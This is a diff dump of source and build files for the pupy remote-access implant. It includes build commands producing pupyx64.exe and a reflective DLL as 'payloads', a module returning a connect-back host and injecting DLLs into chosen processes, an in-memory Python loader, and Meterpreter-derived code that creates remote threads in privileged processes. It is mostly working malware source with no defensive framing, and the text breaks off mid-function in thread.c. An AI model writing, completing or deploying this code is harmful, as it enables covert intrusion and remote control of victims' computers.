"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c resources_library_compressed_string_txt.c
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c resources_bootloader_pyc.c
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c resources_python27_dll.c
|
||||
|
||||
::then compile
|
||||
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c Python-dynload.c /IC:\Python27\include /D_WIN64
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c MemoryModule.c /D_WIN64
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c MyLoadLibrary.c /IC:\Python27\include /D_WIN64
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c _memimporter.c /IC:\Python27\include /D_WIN64
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c pupy_load.c /IC:\Python27\include /DWIN_X64 /D_WIN64
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /O2 /Ob1 /c ReflectiveLoader.c /DWIN_X64 -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /D_WIN64
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c actctx.c /D_WIN64
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c pupy.c /IC:\Python27\include /D_WIN64
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c LoadLibraryR.c /D_WIN64
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c list.c /D_WIN64
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c thread.c /D_WIN64
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c remote_thread.c /D_WIN64
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c base_inject.c /IC:\Python27\include /D_WIN64
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" main_exe.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx64.exe /D_WIN64
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" main_reflective.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj ReflectiveLoader.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx64.dll /LD /D_WIN64
|
||||
|
||||
copy pupyx64.dll ..\..\pupy\payloads\
|
||||
copy pupyx64.exe ..\..\pupy\payloads\
|
||||
|
|
@ -0,0 +1,108 @@
|
|||
# A script to generate helper files for dynamic linking to the Python dll
|
||||
#
|
||||
decls = '''
|
||||
void, Py_Initialize, (void)
|
||||
int, PyRun_SimpleString, (char *)
|
||||
void, Py_Finalize, (void)
|
||||
char *, Py_GetPath, (void)
|
||||
void, Py_SetPythonHome, (char *)
|
||||
void, Py_SetProgramName, (char *)
|
||||
PyObject *, PyMarshal_ReadObjectFromString, (char *, Py_ssize_t)
|
||||
PyObject *, PyObject_CallFunction, (PyObject *, char *, ...)
|
||||
int, PyString_AsStringAndSize, (PyObject *, char **, Py_ssize_t *)
|
||||
char *, PyString_AsString, (PyObject *)
|
||||
int, PyArg_ParseTuple, (PyObject *, char *, ...)
|
||||
PyObject *, PyErr_Format, (PyObject *, const char *, ...)
|
||||
PyObject *, PyImport_ImportModule, (char *)
|
||||
PyObject *, PyInt_FromLong, (long)
|
||||
long, PyInt_AsLong, (PyObject *)
|
||||
PyObject *, PyLong_FromVoidPtr, (void *)
|
||||
PyObject *, Py_InitModule4, (char *, PyMethodDef *, char *, PyObject *, int)
|
||||
PyObject *, PyTuple_New, (Py_ssize_t)
|
||||
int, PyTuple_SetItem, (PyObject*, Py_ssize_t, PyObject *)
|
||||
int, Py_IsInitialized, (void)
|
||||
int, PyObject_SetAttrString, (PyObject *, char *, PyObject *)
|
||||
PyObject *, PyCFunction_NewEx, (PyMethodDef *, PyObject *, PyObject *)
|
||||
PyObject *, PyObject_GetAttrString, (PyObject *, char *)
|
||||
PyObject *, Py_BuildValue, (char *, ...)
|
||||
PyObject *, PyObject_Call, (PyObject *, PyObject *, PyObject *)
|
||||
void, PySys_WriteStderr, (const char *, ...)
|
||||
PyObject *, PyErr_Occurred, (void)
|
||||
void, PyErr_Clear, (void)
|
||||
int, PyObject_IsInstance, (PyObject *, PyObject *)
|
||||
|
||||
PyObject, PyInt_Type
|
||||
PyObject, _Py_NoneStruct
|
||||
PyObject *, PyExc_ImportError
|
||||
PyObject *, PyExc_Exception
|
||||
char *, _Py_PackageContext
|
||||
|
||||
PyGILState_STATE, PyGILState_Ensure, (void)
|
||||
void, PyGILState_Release, (PyGILState_STATE)
|
||||
|
||||
void, PySys_SetObject, (char *, PyObject *)
|
||||
PyObject *, PySys_GetObject, (char *)
|
||||
PyObject *, PyString_FromString, (char *)
|
||||
int, Py_FdIsInteractive, (FILE *, char *)
|
||||
int, PyRun_InteractiveLoop, (FILE *, char *)
|
||||
void, PySys_SetArgv, (int, char **)
|
||||
PyObject *, PyImport_AddModule, (char *)
|
||||
PyObject *, PyModule_GetDict, (PyObject *)
|
||||
Py_ssize_t, PySequence_Length, (PyObject *)
|
||||
PyObject *, PySequence_GetItem, (PyObject *, Py_ssize_t)
|
||||
//int, PyCode_Check, (PyObject *)
|
||||
PyObject *, PyEval_EvalCode, (PyCodeObject *, PyObject *, PyObject *)
|
||||
void, PyErr_Print, (void)
|
||||
PyObject *, PyBool_FromLong, (long)
|
||||
int, Py_VerboseFlag
|
||||
int, Py_NoSiteFlag
|
||||
int, Py_OptimizeFlag
|
||||
int, Py_IgnoreEnvironmentFlag
|
||||
PyObject *, PyObject_Str, (PyObject *)
|
||||
PyObject *, PyList_New, (Py_ssize_t)
|
||||
int, PyList_SetItem, (PyObject *, Py_ssize_t, PyObject *)
|
||||
int, PyList_Append, (PyObject *, PyObject *)
|
||||
PyObject *, PyThreadState_GetDict, (void)
|
||||
int, PyObject_IsTrue, (PyObject *)
|
||||
void, PyErr_SetString, (PyObject *, const char *)
|
||||
void, PyEval_InitThreads, (void)
|
||||
'''.strip().splitlines()
|
||||
|
||||
|
||||
import string
|
||||
|
||||
hfile = open("import-tab.h", "w")
|
||||
cfile = open("import-tab.c", "w")
|
||||
|
||||
index = 0
|
||||
for decl in decls:
|
||||
if not decl or decl.startswith("//"):
|
||||
continue
|
||||
items = decl.split(',', 2)
|
||||
if len(items) == 3:
|
||||
# exported function with argument list
|
||||
restype, name, argtypes = map(string.strip, items)
|
||||
print >> hfile, '#define %(name)s ((%(restype)s(*)%(argtypes)s)imports[%(index)d].proc)' % locals()
|
||||
elif len(items) == 2:
|
||||
# exported data
|
||||
typ, name = map(string.strip, items)
|
||||
print >> hfile, '#define %(name)s (*(%(typ)s(*))imports[%(index)s].proc)' % locals()
|
||||
else:
|
||||
raise ValueError, "could not parse %r" % decl
|
||||
if name == "Py_InitModule4":
|
||||
print >> cfile, '#ifdef _DEBUG'
|
||||
print >> cfile, '\t{ "Py_InitModule4TraceRefs", NULL },' % locals()
|
||||
print >> cfile, '#else'
|
||||
print >> cfile, '# if defined (_WIN64)'
|
||||
print >> cfile, '\t{ "Py_InitModule4_64", NULL },' % locals()
|
||||
print >> cfile, '# else'
|
||||
print >> cfile, '\t{ "Py_InitModule4", NULL },' % locals()
|
||||
print >> cfile, '# endif'
|
||||
print >> cfile, '#endif'
|
||||
else:
|
||||
print >> cfile, '\t{ "%(name)s", NULL },' % locals()
|
||||
|
||||
index += 1
|
||||
|
||||
hfile.close()
|
||||
cfile.close()
|
|
@ -0,0 +1,76 @@
|
|||
/*
|
||||
For the pupy_builtins compiled into pupy exe and reflective DLL stubs we need "Python-dynload.h".
|
||||
For the standalone .pyd we need <Python.h>
|
||||
*/
|
||||
|
||||
#include "Python-dynload.h"
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include "base_inject.h"
|
||||
static char module_doc[] = "Builtins utilities for pupy";
|
||||
|
||||
extern const char resources_library_compressed_string_txt_start[];
|
||||
extern const int resources_library_compressed_string_txt_size;
|
||||
#ifndef STANDALONE
|
||||
extern char connect_back_host[100];
|
||||
#else
|
||||
char connect_back_host[100] = "0.0.0.0:443";
|
||||
#endif
|
||||
extern const DWORD dwPupyArch;
|
||||
static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args)
|
||||
{
|
||||
return Py_BuildValue("s#", resources_library_compressed_string_txt_start, resources_library_compressed_string_txt_size);
|
||||
}
|
||||
|
||||
static PyObject *
|
||||
Py_get_connect_back_host(PyObject *self, PyObject *args)
|
||||
{
|
||||
return Py_BuildValue("s", connect_back_host);
|
||||
}
|
||||
static PyObject *Py_get_arch(PyObject *self, PyObject *args)
|
||||
{
|
||||
if(dwPupyArch==PROCESS_ARCH_X86){
|
||||
return Py_BuildValue("s", "x86");
|
||||
}
|
||||
else if(dwPupyArch==PROCESS_ARCH_X64){
|
||||
return Py_BuildValue("s", "x64");
|
||||
}
|
||||
return Py_BuildValue("s", "unknown");
|
||||
}
|
||||
|
||||
static PyObject *
|
||||
Py_reflective_inject_dll(PyObject *self, PyObject *args)
|
||||
{
|
||||
DWORD dwPid;
|
||||
const char *lpDllBuffer;
|
||||
DWORD dwDllLenght;
|
||||
const char *cpCommandLine;
|
||||
PyObject* py_is64bit;
|
||||
int is64bits;
|
||||
if (!PyArg_ParseTuple(args, "Is#O", &dwPid, &lpDllBuffer, &dwDllLenght, &py_is64bit))
|
||||
return NULL;
|
||||
is64bits = PyObject_IsTrue(py_is64bit);
|
||||
if(is64bits){
|
||||
is64bits=PROCESS_ARCH_X64;
|
||||
}else{
|
||||
is64bits=PROCESS_ARCH_X86;
|
||||
}
|
||||
if(inject_dll( dwPid, lpDllBuffer, dwDllLenght, NULL, is64bits) != ERROR_SUCCESS)
|
||||
return NULL;
|
||||
return PyBool_FromLong(1);
|
||||
}
|
||||
|
||||
static PyMethodDef methods[] = {
|
||||
{ "get_connect_back_host", Py_get_connect_back_host, METH_NOARGS, "get_connect_back_host() -> (ip, port)" },
|
||||
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
|
||||
{ "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS },
|
||||
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },
|
||||
{ NULL, NULL }, /* Sentinel */
|
||||
};
|
||||
|
||||
DL_EXPORT(void)
|
||||
initpupy(void)
|
||||
{
|
||||
Py_InitModule3("pupy", methods, module_doc);
|
||||
}
|
||||
|
|
@ -0,0 +1,189 @@
|
|||
#define QUIET // uncomment to avoid debug prints
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <windows.h>
|
||||
#include "pupy_load.h"
|
||||
#include "Python-dynload.h"
|
||||
#include "actctx.h"
|
||||
#include "resource_python_manifest.c"
|
||||
#include "base_inject.h"
|
||||
|
||||
|
||||
HANDLE MyActCtx;
|
||||
static ULONG_PTR actToken;
|
||||
|
||||
extern const char resources_python27_dll_start[];
|
||||
extern const int resources_python27_dll_size;
|
||||
extern const char resources_bootloader_pyc_start[];
|
||||
extern const int resources_bootloader_pyc_size;
|
||||
extern const char resource_python_manifest[];
|
||||
|
||||
extern DL_EXPORT(void) init_memimporter(void);
|
||||
extern DL_EXPORT(void) initpupy(void);
|
||||
|
||||
CRITICAL_SECTION csInit; // protecting our init code
|
||||
|
||||
// Simple trick to get the current pupy arch
|
||||
#ifdef _WIN64
|
||||
const DWORD dwPupyArch = PROCESS_ARCH_X64;
|
||||
#else
|
||||
const DWORD dwPupyArch = PROCESS_ARCH_X86;
|
||||
#endif
|
||||
|
||||
|
||||
DWORD WINAPI mainThread(LPVOID lpArg)
|
||||
{
|
||||
|
||||
int rc = 0;
|
||||
PyObject *m=NULL, *d=NULL, *seq=NULL;
|
||||
PyObject *mod;
|
||||
char * ppath;
|
||||
FILE * f;
|
||||
char tmp_python_dll_path[MAX_PATH];
|
||||
char tmp_manifest_path[MAX_PATH];
|
||||
char tmp_path[MAX_PATH];
|
||||
ACTCTX ctx;
|
||||
BOOL activated;
|
||||
HANDLE k32;
|
||||
HANDLE (WINAPI *CreateActCtx)(PACTCTX pActCtx);
|
||||
BOOL (WINAPI *ActivateActCtx)(HANDLE hActCtx, ULONG_PTR *lpCookie);
|
||||
void (WINAPI *AddRefActCtx)(HANDLE hActCtx);
|
||||
BOOL (WINAPI *DeactivateActCtx)(DWORD dwFlags, ULONG_PTR ulCookie);
|
||||
PyGILState_STATE restore_state;
|
||||
|
||||
//InitializeCriticalSection(&csInit);
|
||||
|
||||
k32 = LoadLibrary("kernel32");
|
||||
CreateActCtx = (void*)GetProcAddress(k32, "CreateActCtxA");
|
||||
ActivateActCtx = (void*)GetProcAddress(k32, "ActivateActCtx");
|
||||
AddRefActCtx = (void*)GetProcAddress(k32, "AddRefActCtx");
|
||||
DeactivateActCtx = (void*)GetProcAddress(k32, "DeactivateActCtx");
|
||||
|
||||
|
||||
if (!CreateActCtx || !ActivateActCtx)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
GetTempPath(MAX_PATH, tmp_path);
|
||||
ZeroMemory(&ctx, sizeof(ctx));
|
||||
ctx.cbSize = sizeof(ACTCTX);
|
||||
GetTempFileName(tmp_path, "tmp", 0, tmp_manifest_path);
|
||||
|
||||
|
||||
f=fopen(tmp_manifest_path,"w");
|
||||
fprintf(f,"%s",resource_python_manifest);
|
||||
fclose(f);
|
||||
#ifndef QUIET
|
||||
printf("manifest written to %s\n",tmp_manifest_path);
|
||||
#endif
|
||||
ctx.lpSource = tmp_manifest_path;
|
||||
|
||||
MyActCtx=CreateActCtx(&ctx);
|
||||
if (MyActCtx != NULL)
|
||||
{
|
||||
AddRefActCtx(MyActCtx);
|
||||
}
|
||||
#ifndef QUIET
|
||||
DeleteFile(tmp_manifest_path);
|
||||
#endif
|
||||
|
||||
|
||||
if(!Py_IsInitialized)
|
||||
{
|
||||
int res=0;
|
||||
activated = ActivateActCtx(MyActCtx, &actToken);
|
||||
if(!_load_python("python27.dll", resources_python27_dll_start)){
|
||||
|
||||
#ifndef QUIET
|
||||
printf("loading python27.dll from memory failed\n");
|
||||
#endif
|
||||
|
||||
//if loading from memory fail, we write dll on disk
|
||||
sprintf(tmp_python_dll_path, "%spython27.dll", tmp_path);
|
||||
|
||||
f=fopen(tmp_python_dll_path,"wb");
|
||||
res=fwrite(resources_python27_dll_start, sizeof(char), resources_python27_dll_size, f);
|
||||
fclose(f);
|
||||
|
||||
if(!_load_python(tmp_python_dll_path, NULL)){
|
||||
if(!_load_python("python27.dll", NULL)){ // try loading from system PATH
|
||||
#ifndef QUIET
|
||||
printf("could not load python dll\n");
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
#ifndef QUIET
|
||||
printf("python interpreter loaded\n");
|
||||
#endif
|
||||
|
||||
ppath = Py_GetPath();
|
||||
strcpy(ppath, "\x00");
|
||||
|
||||
Py_IgnoreEnvironmentFlag = 1;
|
||||
Py_NoSiteFlag = 1; /* remove site.py auto import */
|
||||
Py_Initialize();
|
||||
|
||||
#ifndef QUIET
|
||||
printf("Py_Initialize()\n");
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
restore_state=PyGILState_Ensure();
|
||||
PySys_SetObject("frozen", PyBool_FromLong(1));
|
||||
|
||||
init_memimporter();
|
||||
#ifndef QUIET
|
||||
printf("init_memimporter()\n");
|
||||
#endif
|
||||
initpupy();
|
||||
#ifndef QUIET
|
||||
printf("initpupy()\n");
|
||||
#endif
|
||||
|
||||
//mod = PyImport_ImportModule("sys");
|
||||
|
||||
//MessageBoxA(0, "hey ! :D", "DLL Message", MB_OK | MB_ICONINFORMATION);
|
||||
|
||||
/* We execute then in the context of '__main__' */
|
||||
PyEval_InitThreads();
|
||||
#ifndef QUIET
|
||||
printf("starting evaluating python code ...\n");
|
||||
#endif
|
||||
//PyRun_SimpleString("print 'ok from python'");
|
||||
m = PyImport_AddModule("__main__");
|
||||
if (m) d = PyModule_GetDict(m);
|
||||
if (d) seq = PyMarshal_ReadObjectFromString(resources_bootloader_pyc_start, resources_bootloader_pyc_size);
|
||||
if (seq) {
|
||||
Py_ssize_t i, max = PySequence_Length(seq);
|
||||
for (i=0;i<max;i++) {
|
||||
PyObject *sub = PySequence_GetItem(seq, i);
|
||||
if (seq) {
|
||||
PyObject *discard = PyEval_EvalCode((PyCodeObject *)sub, d, d);
|
||||
if (!discard) {
|
||||
PyErr_Print();
|
||||
rc = 255;
|
||||
}
|
||||
Py_XDECREF(discard);
|
||||
/* keep going even if we fail */
|
||||
}
|
||||
Py_XDECREF(sub);
|
||||
}
|
||||
}
|
||||
PyGILState_Release(restore_state);
|
||||
//if (PyErr_Occurred())
|
||||
// PyErr_Print();
|
||||
Py_Finalize();
|
||||
if (!DeactivateActCtx(0, actToken)){
|
||||
#ifndef QUIET
|
||||
printf("LOADER: Error deactivating context!\n!");
|
||||
#endif
|
||||
}
|
||||
//DeleteCriticalSection(&csInit);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
#ifndef PYTHONINTERPRETER
|
||||
#define PYTHONINTERPRETER
|
||||
|
||||
DWORD WINAPI mainThread(LPVOID lpArg);
|
||||
#endif
|
|
@ -0,0 +1,99 @@
|
|||
//#include "common.h"
|
||||
#include <windows.h>
|
||||
#include "remote_thread.h"
|
||||
/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */
|
||||
typedef struct _MIMI_CLIENT_ID {
|
||||
PVOID UniqueProcess;
|
||||
PVOID UniqueThread;
|
||||
} CLIENTID;
|
||||
|
||||
/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */
|
||||
typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, BOOL, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*);
|
||||
/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */
|
||||
static PRtlCreateUserThread pRtlCreateUserThread = NULL;
|
||||
/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */
|
||||
static BOOL pRtlCreateUserThreadAttempted = FALSE;
|
||||
|
||||
/*!
|
||||
* @brief Helper function for creating a remote thread in a privileged process.
|
||||
* @param hProcess Handle to the target process.
|
||||
* @param sStackSize Size of the stack to use (if unsure, specify 0).
|
||||
* @param pvStartAddress Pointer to the function entry point that has been loaded into the target.
|
||||
* @param pvStartParam Pointer to the parameter to pass to the thread function.
|
||||
* @param dwCreateFlags Creation flags to use when creating the new thread.
|
||||
* @param pdwThreadId Pointer to the buffer that will receive the thread ID (optional).
|
||||
* @return Handle to the new thread.
|
||||
* @retval NULL Indicates an error, which can be retrieved with \c GetLastError().
|
||||
* @remark This function has been put in place to wrap up the handling of creating remote threads
|
||||
* in privileged processes across all operating systems. In Windows XP and earlier, the
|
||||
* \c CreateRemoteThread() function was sufficient to handle this case, however this changed
|
||||
* in Vista and has been that way since. For Vista onwards, the use of the hidden API function
|
||||
* \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread()
|
||||
* first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the
|
||||
* existing behaviour is kept for when running on XP and earlier, or when the user is already
|
||||
* running within a privileged process.
|
||||
*/
|
||||
HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId)
|
||||
{
|
||||
NTSTATUS ntResult;
|
||||
BOOL bCreateSuspended;
|
||||
DWORD dwThreadId;
|
||||
HANDLE hThread;
|
||||
|
||||
if (pdwThreadId == NULL)
|
||||
{
|
||||
pdwThreadId = &dwThreadId;
|
||||
}
|
||||
|
||||
hThread = CreateRemoteThread(hProcess, NULL, sStackSize, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, dwCreateFlags, pdwThreadId);
|
||||
|
||||
// ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs
|
||||
// on Vista and later.
|
||||
if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY)
|
||||
{
|
||||
//dprintf("[REMOTETHREAD] CreateRemoteThread seems to lack permissions, trying alternative options");
|
||||
hThread = NULL;
|
||||
|
||||
// Only attempt to load the function pointer if we haven't attempted it already.
|
||||
if (!pRtlCreateUserThreadAttempted)
|
||||
{
|
||||
if (pRtlCreateUserThread == NULL)
|
||||
{
|
||||
pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");
|
||||
if (pRtlCreateUserThread)
|
||||
{
|
||||
//dprintf("[REMOTETHREAD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread);
|
||||
}
|
||||
}
|
||||
pRtlCreateUserThreadAttempted = TRUE;
|
||||
}
|
||||
|
||||
// if at this point we don't have a valid pointer, it means that we don't have this function available
|
||||
// on the current OS
|
||||
if (pRtlCreateUserThread)
|
||||
{
|
||||
DWORD (WINAPI *fGetThreadId)(HANDLE Thread);
|
||||
fGetThreadId = (void*)GetProcAddress(GetModuleHandleA("kernel32"), "GetThreadId");
|
||||
if(fGetThreadId){
|
||||
//dprintf("[REMOTETHREAD] Attempting thread creation with RtlCreateUserThread");
|
||||
bCreateSuspended = (dwCreateFlags & CREATE_SUSPENDED) == CREATE_SUSPENDED;
|
||||
ntResult = pRtlCreateUserThread(hProcess, NULL, bCreateSuspended, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, NULL);
|
||||
SetLastError(ntResult);
|
||||
|
||||
if (ntResult == 0 && pdwThreadId)
|
||||
{
|
||||
*pdwThreadId = fGetThreadId(hThread);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// restore the previous error so that it looks like we haven't done anything else
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
}
|
||||
|
||||
return hThread;
|
||||
}
|
||||
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
#ifndef _METERPRETER_REMOTE_THREAD_H
|
||||
#define _METERPRETER_REMOTE_THREAD_H
|
||||
|
||||
HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,35 @@
|
|||
|
||||
#ifdef _WIN64
|
||||
const char resource_python_manifest[]="<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n"
|
||||
"<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n"
|
||||
"<trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">\n"
|
||||
"<security>\n"
|
||||
"<requestedPrivileges>\n"
|
||||
"<requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"></requestedExecutionLevel>\n"
|
||||
"</requestedPrivileges>\n"
|
||||
"</security>\n"
|
||||
"</trustInfo>\n"
|
||||
"<dependency>\n"
|
||||
"<dependentAssembly>\n"
|
||||
"<assemblyIdentity type=\"win32\" name=\"Microsoft.VC90.CRT\" version=\"9.0.21022.8\" processorArchitecture=\"amd64\" publicKeyToken=\"1fc8b3b9a1e18e3b\"></assemblyIdentity>\n"
|
||||
"</dependentAssembly>\n"
|
||||
"</dependency>\n"
|
||||
"</assembly>\n";
|
||||
#else
|
||||
const char resource_python_manifest[]="<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n"
|
||||
"<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n"
|
||||
"<trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">\n"
|
||||
"<security>\n"
|
||||
"<requestedPrivileges>\n"
|
||||
"<requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"></requestedExecutionLevel>\n"
|
||||
"</requestedPrivileges>\n"
|
||||
"</security>\n"
|
||||
"</trustInfo>\n"
|
||||
"<dependency>\n"
|
||||
"<dependentAssembly>\n"
|
||||
"<assemblyIdentity type=\"win32\" name=\"Microsoft.VC90.CRT\" version=\"9.0.21022.8\" processorArchitecture=\"x86\" publicKeyToken=\"1fc8b3b9a1e18e3b\"></assemblyIdentity>\n"
|
||||
"</dependentAssembly>\n"
|
||||
"</dependency>\n"
|
||||
"</assembly>\n";
|
||||
#endif
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
|
||||
import marshal, zlib
|
||||
modules = marshal.loads(zlib.decompress(open("library_compressed_string.txt",'rb').read()))
|
||||
for f in sorted([x for x in modules.iterkeys()]):
|
||||
print f
|
||||
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,542 @@
|
|||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include "thread.h"
|
||||
#ifndef _WIN32
|
||||
#include <pthread.h>
|
||||
|
||||
int __futex_wait(volatile void *ftx, int val, const struct timespec *timeout);
|
||||
int __futex_wake(volatile void *ftx, int count);
|
||||
|
||||
#include <time.h>
|
||||
#include <signal.h>
|
||||
|
||||
#endif
|
||||
|
||||
// thread.c contains wrappers for the primitives of locks, events and threads for use in
|
||||
// the multithreaded meterpreter. This is the win32/win64 implementation.
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
/*
|
||||
* Create a new lock. We choose Mutex's over CriticalSections as their appears to be an issue
|
||||
* when using CriticalSections with OpenSSL on some Windows systems. Mutex's are not as optimal
|
||||
* as CriticalSections but they appear to resolve the OpenSSL deadlock issue.
|
||||
*/
|
||||
LOCK * lock_create( VOID )
|
||||
{
|
||||
LOCK * lock = (LOCK *)malloc( sizeof( LOCK ) );
|
||||
if( lock != NULL )
|
||||
{
|
||||
memset( lock, 0, sizeof( LOCK ) );
|
||||
|
||||
#ifdef _WIN32
|
||||
lock->handle = CreateMutex( NULL, FALSE, NULL );
|
||||
#else
|
||||
pthread_mutex_init(lock->handle, NULL);
|
||||
#endif
|
||||
}
|
||||
return lock;
|
||||
}
|
||||
|
||||
/*
|
||||
* Destroy a lock that is no longer required.
|
||||
*/
|
||||
VOID lock_destroy( LOCK * lock )
|
||||
{
|
||||
if( lock != NULL )
|
||||
{
|
||||
lock_release( lock );
|
||||
|
||||
#ifdef _WIN32
|
||||
CloseHandle( lock->handle );
|
||||
#else
|
||||
pthread_mutex_destroy(lock->handle);
|
||||
#endif
|
||||
|
||||
free( lock );
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Acquire a lock and block untill it is acquired.
|
||||
*/
|
||||
VOID lock_acquire( LOCK * lock )
|
||||
{
|
||||
if( lock != NULL ) {
|
||||
#ifdef _WIN32
|
||||
WaitForSingleObject( lock->handle, INFINITE );
|
||||
#else
|
||||
pthread_mutex_lock(lock->handle);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Release a lock previously held.
|
||||
*/
|
||||
VOID lock_release( LOCK * lock )
|
||||
{
|
||||
if( lock != NULL ) {
|
||||
#ifdef _WIN32
|
||||
ReleaseMutex( lock->handle );
|
||||
#else
|
||||
pthread_mutex_unlock(lock->handle);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
/*
|
||||
* Create a new event which can be signaled/polled/and blocked on.
|
||||
*/
|
||||
EVENT * event_create( VOID )
|
||||
{
|
||||
EVENT * event = NULL;
|
||||
|
||||
event = (EVENT *)malloc( sizeof( EVENT ) );
|
||||
if( event == NULL )
|
||||
return NULL;
|
||||
|
||||
memset( event, 0, sizeof( EVENT ) );
|
||||
|
||||
#ifdef _WIN32
|
||||
event->handle = CreateEvent( NULL, FALSE, FALSE, NULL );
|
||||
if( event->handle == NULL )
|
||||
{
|
||||
free( event );
|
||||
return NULL;
|
||||
}
|
||||
